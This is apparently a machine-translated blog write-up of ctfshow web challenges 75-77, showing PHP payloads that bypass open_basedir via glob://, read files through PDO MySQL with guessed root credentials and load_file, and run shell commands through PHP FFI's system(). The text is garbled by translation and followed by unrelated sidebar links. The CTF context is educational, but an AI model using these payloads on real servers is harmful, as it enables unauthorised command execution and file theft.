当前位置:网站首页>Ctfshow web getting started command execution web75-77
Ctfshow web getting started command execution web75-77
2022-06-26 11:23:00 【Make-1t-0r-d1e】
I've been painting in recent days ctfshow Of web Introduction to the command execution part of the exercise , Learned a lot of new postures , Simply record your understanding of the last few problems
web75
Due to the existence open_basedir Configuration limitations , Can't use scandir Function to list directory information , have access to glob The agreement bypasses open_basedir The limitation of , Found at root flag36.txt file .
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

This question is also passed include_path Limits the path contained in the file , Cannot be used directly include Include get flag Information , So I tried to use uaf To bypass the restriction of command execution , But because this topic filters strlen, I also tried to rewrite it in several ways strlen function , But none of them succeeded , If the subsequent rewriting is successful, it will be updated in time , Therefore, refer to the prompt information to use PDO Connect MySQL Read from the database flag Information ,payload as follows .
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
echo($row[0])."|";
}exit();
In the video explanation, it is mentioned that the database name can be obtained ctftraining, But I try to use the ant sword connection to filter the problem environment that is not strict , In the login mysql There is always a segment error , But even if you don't know the database name ctftraining, You can also connect to the default database information_schema Reach the directory of command execution , Just guess mysql Just use your username and password .
By connecting to the default database information_schema Query database name , It is found that there is indeed a named ctftraining The database of .
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();

Use load_file Function read flag File is available flag Information
web77
This problem still makes use of glob The agreement bypasses open_basedir The limitation of , List all files in the root directory , Two suspicious files were found , Namely flag36x.txt and readflag
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->__toString().' ');
}exit();

Try to use web75 and 76 The idea of , Use PDO Connect MySQL database , And then use load_file Function bypasses the restriction of file reading , Read flag, But the newspaper could not find driver Error of , Indicates that this question cannot be used PDO Connect to database .
see writeup, This question uses PHP 7.4+ Of FFI characteristic , That is, external function interface features , Please check the relevant documents PHP manual , I'm mainly right here payload Simple analysis of information .
$ffi = FFI::cdef("int system(const char *command);");// Create a system object
$a='/readflag > 1.txt';// No echo
$ffi->system($a);// adopt $ffi To call system function
PHP The manual says FFI:cdef The description of the prototype is public static FFI::cdef(string $code = "", ?string $lib = null), among $code For a string , Include general C A series of statements in a language ,$lib Is the name of the shared library file to load and link , If omitted lib, Then the platform will try to find the symbols declared in the code in the global scope , Other systems will not be able to parse these symbols .
At first I thought payload The meaning of the first line of code in is , Don't offer $lib In the case of information , Will call by default PHP Medium system function , But actually int system(const char *command); That is to say C In language system Definition of function , Used to execute system commands , Also in Linux Under the platform /readflag > 1.txt Use shell Parse and execute , So guess readflag It could be an executable .
- Use FFI call C In language
systemFunction to list the root directory
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls / > 1.txt';
$ffi->system($a);exit();

- Attempt to read directly
/flag36x.txt, visit 1.txt There is nothing after
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /flag36x.txt > 1.txt';
$ffi->system($a);exit();
- Attempt to read
/readflagfile , Successfully read , by ELF Executable file
c=$ffi = FFI::cdef("int system(const char *command);");
$a='cat /readflag > 1.txt';
$ffi->system($a);exit();

- guess
/flag36x.txtThe file could not be read because of insufficient permissions , List the file permission information of the root directory , It is found that this file does not have read permission for other users , The user who executes the command iswww-data, So it can't be used directlycatRead file contents .
c=$ffi = FFI::cdef("int system(const char *command);");
$a='ls -lst / > 1.txt';
$ffi->system($a);exit();

- Use IDA see
/readflagThe contents of the executable file , Confirmed the speculation between
Through executionreadflagFile is available flag Information
边栏推荐
- 滑动窗口
- FastRCNN
- FasterRCNN
- 3、 Linked list exercise
- That is to say, "live broadcast" is launched! One stop live broadcast service with full link upgrade
- Sqli-labs靶场1-5
- Excel operation of manual moving average method and exponential smoothing method for time series prediction
- SVN 安装配置
- Fabric. JS upper dash, middle dash (strikethrough), underline
- 【深度学习理论】(6) 循环神经网络 RNN
猜你喜欢

19:第三章:开发通行证服务:2:在程序中,打通阿里云短信服务;(仅仅是打通阿里云短信服务器,不涉及具体的业务开发)

深度学习中的FLOPs和Params如何计算

【Redis 系列】redis 学习十六,redis 字典(map) 及其核心编码结构

哈希表的前置知识---二叉搜索树

机器学习聚类——实验报告
![Compréhension approfondie de l'expérience de port série stm32 (registre) [Tutoriel de niveau nounou]](/img/b2/f09e220918a85b14a1993aa85f7720.png)
Compréhension approfondie de l'expérience de port série stm32 (registre) [Tutoriel de niveau nounou]

Cet article présente la moyenne mobile quadratique linéaire et le fonctionnement simple d'Excel pour réaliser la prédiction des séries chronologiques dans la modélisation.

即构「畅直播」上线!提供全链路升级的一站式直播服务

Code specification & explain in detail the functions and uses of husky, prettier, eslint and lint staged

How to prevent weight loss under Gao Bingfa?
随机推荐
Docker中实现MySQL主从复制
统计遗传学:第二章,统计分析概念
Prospering customs through science and technology, Ronglian and Tianjin Customs jointly build a genomic database and analysis platform
量化初级 -- akshare获得股票代码,最简策略
What does ack attack mean? How to defend against ack attacks?
19:第三章:开发通行证服务:2:在程序中,打通阿里云短信服务;(仅仅是打通阿里云短信服务器,不涉及具体的业务开发)
Black squares in word
PC QQ大廳 上傳更新 修改versionInfo
laravel-admin 用 原生JS实现声音提示,及自动播放
Laravel-admin 登录添加图形验证码
Redux related usage
修改calico网络模式为host-gw
Statistical genetics: Chapter 2, the concept of statistical analysis
Loggie encoding and newline character test
Wangeditor uploading local video modification
Change calico network mode to host GW
Server single and two-way adjustable one key mutual trust script!
Machine Learning Clustering - Experimental Report
Implementing MySQL master-slave replication in docker
.net中,日志组件 Nlog,SerialLog, Log4Net的用法